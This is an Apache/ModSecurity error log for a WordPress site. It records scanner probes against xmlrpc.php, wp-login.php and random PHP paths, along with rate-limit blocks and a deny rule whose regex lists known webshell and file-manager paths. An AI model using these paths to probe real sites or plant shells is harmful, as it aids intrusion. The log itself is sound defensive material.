[Wed Mar 18 15:30:36.976609 2026] [:error] [pid 53755:tid 53763] [client 45.250.44.155:52074] [client 45.250.44.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.250.44.155, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abpUnKqw5ZSRshmIhWmxHwAAAUY"]
[Wed Mar 18 15:30:36.991053 2026] [proxy_fcgi:error] [pid 53755:tid 53763] [client 45.250.44.155:52074] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 15:32:14.568514 2026] [:error] [pid 42870:tid 42896] [client 140.213.217.134:20770] [client 140.213.217.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 140.213.217.134, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abpU_p6axlAooiuYyUzmVwAAAAs"]
[Wed Mar 18 15:32:14.581209 2026] [proxy_fcgi:error] [pid 42870:tid 42896] [client 140.213.217.134:20770] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 17:04:30.859990 2026] [proxy_fcgi:error] [pid 31232:tid 31255] [client 145.239.10.137:37493] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/k.php
[Wed Mar 18 20:39:38.839150 2026] [proxy_fcgi:error] [pid 53755:tid 53767] [client 20.120.18.145:22091] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 20:39:39.053662 2026] [proxy_fcgi:error] [pid 53755:tid 53760] [client 20.120.18.145:22091] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 20:39:39.483295 2026] [proxy_fcgi:error] [pid 53755:tid 53762] [client 20.120.18.145:22091] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 20:39:39.698695 2026] [proxy_fcgi:error] [pid 53755:tid 53781] [client 20.120.18.145:22091] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 20:39:40.179986 2026] [proxy_fcgi:error] [pid 53755:tid 53780] [client 20.120.18.145:22091] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 20:39:40.394429 2026] [proxy_fcgi:error] [pid 53755:tid 53765] [client 20.120.18.145:22091] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 20:39:41.458136 2026] [proxy_fcgi:error] [pid 53755:tid 53762] [client 20.120.18.145:22091] AH01071: Got error 'Primary script unknown'
[Wed Mar 18 20:39:41.951002 2026] [:error] [pid 53755:tid 53774] [client 20.120.18.145:22091] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abqdDaqw5ZSRshmIhWk8NwAAAVE"]
[Wed Mar 18 20:39:46.019587 2026] [:error] [pid 53755:tid 53769] [client 20.120.18.145:22461] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abqdEqqw5ZSRshmIhWk8OQAAAUw"]
[Wed Mar 18 20:39:49.245841 2026] [:error] [pid 42871:tid 42915] [client 20.120.18.145:22462] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abqdFWPUS0lM1M9nUaJoEwAAAIE"]
[Wed Mar 18 20:39:51.894622 2026] [:error] [pid 43009:tid 43024] [client 20.120.18.145:22409] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abqdF38aUp4Sm6m3nmM3GQAAAQ0"]
[Thu Mar 19 00:24:02.548198 2026] [:error] [pid 19431:tid 19506] [client 154.208.48.138:50818] [client 154.208.48.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.208.48.138, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abrRojioVgnJ_ZdBjctYWgAAAFQ"]
[Thu Mar 19 00:24:02.557849 2026] [proxy_fcgi:error] [pid 19431:tid 19506] [client 154.208.48.138:50818] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 01:45:42.908091 2026] [proxy_fcgi:error] [pid 41180:tid 41184] [client 4.204.253.219:30739] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 01:45:43.373937 2026] [:error] [pid 41180:tid 41190] [client 4.204.253.219:30739] [client 4.204.253.219] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.204.253.219, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/wp-login.php"] [unique_id "abrkx7uSQ3z2YqXgnycX1wAAAMg"]
[Thu Mar 19 01:45:43.602289 2026] [proxy_fcgi:error] [pid 41180:tid 41197] [client 4.204.253.219:30739] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 01:45:44.682409 2026] [proxy_fcgi:error] [pid 41180:tid 41183] [client 4.204.253.219:30739] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 01:45:45.387739 2026] [proxy_fcgi:error] [pid 41180:tid 41198] [client 4.204.253.219:30739] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 01:45:45.594432 2026] [:error] [pid 41180:tid 41197] [client 4.204.253.219:30739] [client 4.204.253.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abrkybuSQ3z2YqXgnycX5gAAAM8"]
[Thu Mar 19 01:45:47.642080 2026] [:error] [pid 41180:tid 41186] [client 4.204.253.219:30904] [client 4.204.253.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abrky7uSQ3z2YqXgnycX7gAAAMQ"]
[Thu Mar 19 01:45:51.152569 2026] [:error] [pid 41180:tid 41188] [client 4.204.253.219:30875] [client 4.204.253.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abrkz7uSQ3z2YqXgnycX-gAAAMY"]
[Thu Mar 19 01:45:52.203523 2026] [:error] [pid 19224:tid 19371] [client 4.204.253.219:30903] [client 4.204.253.219] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/crystal/"] [unique_id "abrk0DxUIaHQ6Y3ff51g3wAAAcE"]
[Thu Mar 19 06:31:03.990808 2026] [:error] [pid 23884:tid 23957] [client 31.171.130.17:30555] [client 31.171.130.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.17, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "absnp16St-VCdOYnZMrxYAAAAIE"]
[Thu Mar 19 06:31:04.023468 2026] [proxy_fcgi:error] [pid 23884:tid 23957] [client 31.171.130.17:30555] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 07:59:28.282244 2026] [:error] [pid 31313:tid 31365] [client 91.99.177.198:49650] [client 91.99.177.198] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.agraphics.com.au"] [uri "/"] [unique_id "abs8YA9HuAbqf2tZOycHjgAAAcQ"]
[Thu Mar 19 08:02:27.935278 2026] [:error] [pid 31735:tid 31743] [client 189.62.151.215:15738] [client 189.62.151.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 189.62.151.215, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "abs9E3-gyQbRQWJYccwv9wAAAoQ"]
[Thu Mar 19 08:02:27.950786 2026] [proxy_fcgi:error] [pid 31735:tid 31743] [client 189.62.151.215:15738] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:26.865990 2026] [proxy_fcgi:error] [pid 23884:tid 23959] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:27.136905 2026] [proxy_fcgi:error] [pid 23884:tid 23971] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:27.400352 2026] [proxy_fcgi:error] [pid 23884:tid 23972] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:27.675458 2026] [proxy_fcgi:error] [pid 23884:tid 23965] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:27.925885 2026] [proxy_fcgi:error] [pid 23884:tid 23967] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:28.229046 2026] [proxy_fcgi:error] [pid 23884:tid 23973] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:28.497653 2026] [proxy_fcgi:error] [pid 23884:tid 23978] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:29.944289 2026] [proxy_fcgi:error] [pid 23884:tid 23957] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:30.217519 2026] [proxy_fcgi:error] [pid 23884:tid 23966] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:30.537470 2026] [proxy_fcgi:error] [pid 23884:tid 23962] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:31.177487 2026] [proxy_fcgi:error] [pid 23884:tid 23970] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:31.447175 2026] [proxy_fcgi:error] [pid 23884:tid 23976] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:31.680333 2026] [proxy_fcgi:error] [pid 23884:tid 23971] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:31.925843 2026] [proxy_fcgi:error] [pid 23884:tid 23974] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:32.195875 2026] [proxy_fcgi:error] [pid 23884:tid 23961] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:32.470410 2026] [proxy_fcgi:error] [pid 23884:tid 23977] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:32.763618 2026] [proxy_fcgi:error] [pid 23884:tid 23978] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:33.039413 2026] [proxy_fcgi:error] [pid 23884:tid 23957] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:33.317781 2026] [proxy_fcgi:error] [pid 23884:tid 23968] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:34.965073 2026] [proxy_fcgi:error] [pid 23884:tid 23975] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:35.259009 2026] [proxy_fcgi:error] [pid 23884:tid 23959] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:35.603291 2026] [proxy_fcgi:error] [pid 23884:tid 23969] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:35.900749 2026] [proxy_fcgi:error] [pid 23884:tid 23972] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:36.157311 2026] [proxy_fcgi:error] [pid 23884:tid 23971] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:36.743806 2026] [proxy_fcgi:error] [pid 23884:tid 23964] [client 209.87.169.237:44565] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:37.004021 2026] [:error] [pid 23884:tid 23974] [client 209.87.169.237:44565] [client 209.87.169.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "abtXXV6St-VCdOYnZMoc1AAAAJI"]
[Thu Mar 19 09:54:38.514388 2026] [proxy_fcgi:error] [pid 31447:tid 31455] [client 209.87.169.46:36871] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:38.779524 2026] [:error] [pid 31447:tid 31460] [client 209.87.169.46:36871] [client 209.87.169.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "abtXXhmVNRDSLnGvghiT3QAAAgU"]
[Thu Mar 19 09:54:39.350301 2026] [proxy_fcgi:error] [pid 3278:tid 3284] [client 209.87.169.43:36743] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:39.610914 2026] [proxy_fcgi:error] [pid 3278:tid 3295] [client 209.87.169.43:36743] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:39.940051 2026] [proxy_fcgi:error] [pid 3278:tid 3294] [client 209.87.169.43:36743] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:40.180882 2026] [:error] [pid 3278:tid 3304] [client 209.87.169.43:36743] [client 209.87.169.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "abtXYAC2T_lM6ZgvfcRL-AAAARc"]
[Thu Mar 19 09:54:40.703739 2026] [proxy_fcgi:error] [pid 32226:tid 32244] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:41.011481 2026] [proxy_fcgi:error] [pid 32226:tid 32233] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:41.244436 2026] [proxy_fcgi:error] [pid 32226:tid 32235] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:41.496075 2026] [proxy_fcgi:error] [pid 32226:tid 32228] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:41.752402 2026] [proxy_fcgi:error] [pid 32226:tid 32230] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:42.022551 2026] [proxy_fcgi:error] [pid 32226:tid 32229] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:42.301071 2026] [proxy_fcgi:error] [pid 32226:tid 32231] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:42.591705 2026] [proxy_fcgi:error] [pid 32226:tid 32241] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:42.880325 2026] [proxy_fcgi:error] [pid 32226:tid 32236] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:43.142858 2026] [proxy_fcgi:error] [pid 32226:tid 32250] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:43.409308 2026] [proxy_fcgi:error] [pid 32226:tid 32229] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:43.670853 2026] [proxy_fcgi:error] [pid 32226:tid 32247] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:43.961031 2026] [proxy_fcgi:error] [pid 32226:tid 32249] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:44.185273 2026] [proxy_fcgi:error] [pid 32226:tid 32246] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:44.481897 2026] [proxy_fcgi:error] [pid 32226:tid 32251] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:44.712609 2026] [proxy_fcgi:error] [pid 32226:tid 32249] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:44.996844 2026] [proxy_fcgi:error] [pid 32226:tid 32247] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:45.220362 2026] [proxy_fcgi:error] [pid 32226:tid 32233] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:47.520697 2026] [proxy_fcgi:error] [pid 32226:tid 32233] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:47.752798 2026] [proxy_fcgi:error] [pid 32226:tid 32242] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:48.056097 2026] [proxy_fcgi:error] [pid 32226:tid 32234] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:48.329194 2026] [proxy_fcgi:error] [pid 32226:tid 32241] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:48.580686 2026] [proxy_fcgi:error] [pid 32226:tid 32231] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:48.829673 2026] [proxy_fcgi:error] [pid 32226:tid 32233] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:49.101743 2026] [proxy_fcgi:error] [pid 32226:tid 32242] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:49.631395 2026] [proxy_fcgi:error] [pid 32226:tid 32251] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:49.892314 2026] [proxy_fcgi:error] [pid 32226:tid 32239] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:50.127693 2026] [proxy_fcgi:error] [pid 32226:tid 32249] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:50.424338 2026] [proxy_fcgi:error] [pid 32226:tid 32230] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:50.680325 2026] [proxy_fcgi:error] [pid 32226:tid 32242] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:50.926310 2026] [proxy_fcgi:error] [pid 32226:tid 32233] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:51.241728 2026] [proxy_fcgi:error] [pid 32226:tid 32244] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:53.247133 2026] [proxy_fcgi:error] [pid 32226:tid 32233] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:53.542349 2026] [proxy_fcgi:error] [pid 32226:tid 32242] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:53.837837 2026] [proxy_fcgi:error] [pid 32226:tid 32231] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:54.110752 2026] [proxy_fcgi:error] [pid 32226:tid 32244] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:54.367674 2026] [proxy_fcgi:error] [pid 32226:tid 32251] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:54.623325 2026] [proxy_fcgi:error] [pid 32226:tid 32240] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:54.891375 2026] [proxy_fcgi:error] [pid 32226:tid 32251] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:57.500422 2026] [proxy_fcgi:error] [pid 32226:tid 32228] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:57.783135 2026] [proxy_fcgi:error] [pid 32226:tid 32249] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:58.066285 2026] [proxy_fcgi:error] [pid 32226:tid 32239] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:58.323712 2026] [proxy_fcgi:error] [pid 32226:tid 32232] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:58.586203 2026] [proxy_fcgi:error] [pid 32226:tid 32241] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:58.874780 2026] [proxy_fcgi:error] [pid 32226:tid 32232] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:59.153375 2026] [proxy_fcgi:error] [pid 32226:tid 32238] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:59.436136 2026] [proxy_fcgi:error] [pid 32226:tid 32232] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:59.666249 2026] [proxy_fcgi:error] [pid 32226:tid 32242] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:54:59.941279 2026] [proxy_fcgi:error] [pid 32226:tid 32232] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:00.264667 2026] [proxy_fcgi:error] [pid 32226:tid 32243] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:00.587669 2026] [proxy_fcgi:error] [pid 32226:tid 32245] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:00.917101 2026] [proxy_fcgi:error] [pid 32226:tid 32237] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:01.174565 2026] [proxy_fcgi:error] [pid 32226:tid 32229] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:01.445313 2026] [proxy_fcgi:error] [pid 32226:tid 32244] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:01.756380 2026] [proxy_fcgi:error] [pid 32226:tid 32231] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:02.238522 2026] [proxy_fcgi:error] [pid 32226:tid 32240] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:02.600846 2026] [proxy_fcgi:error] [pid 32226:tid 32251] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:02.939298 2026] [proxy_fcgi:error] [pid 32226:tid 32244] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:03.266123 2026] [proxy_fcgi:error] [pid 32226:tid 32245] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:03.910214 2026] [proxy_fcgi:error] [pid 32226:tid 32239] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:04.575814 2026] [proxy_fcgi:error] [pid 32226:tid 32240] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:04.862293 2026] [proxy_fcgi:error] [pid 32226:tid 32238] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:05.155157 2026] [proxy_fcgi:error] [pid 32226:tid 32252] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:05.416331 2026] [proxy_fcgi:error] [pid 32226:tid 32248] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:05.734542 2026] [proxy_fcgi:error] [pid 32226:tid 32230] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:06.026128 2026] [proxy_fcgi:error] [pid 32226:tid 32232] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:06.333194 2026] [proxy_fcgi:error] [pid 32226:tid 32230] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:06.575910 2026] [proxy_fcgi:error] [pid 32226:tid 32232] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:06.897011 2026] [proxy_fcgi:error] [pid 32226:tid 32245] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:07.182603 2026] [proxy_fcgi:error] [pid 32226:tid 32241] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:07.518308 2026] [proxy_fcgi:error] [pid 32226:tid 32233] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:07.841306 2026] [proxy_fcgi:error] [pid 32226:tid 32231] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:08.177307 2026] [proxy_fcgi:error] [pid 32226:tid 32238] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:08.464322 2026] [proxy_fcgi:error] [pid 32226:tid 32244] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:08.787540 2026] [proxy_fcgi:error] [pid 32226:tid 32230] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
[Thu Mar 19 09:55:10.794380 2026] [proxy_fcgi:error] [pid 32226:tid 32251] [client 209.87.169.74:61285] AH01071: Got error 'Primary script unknown'
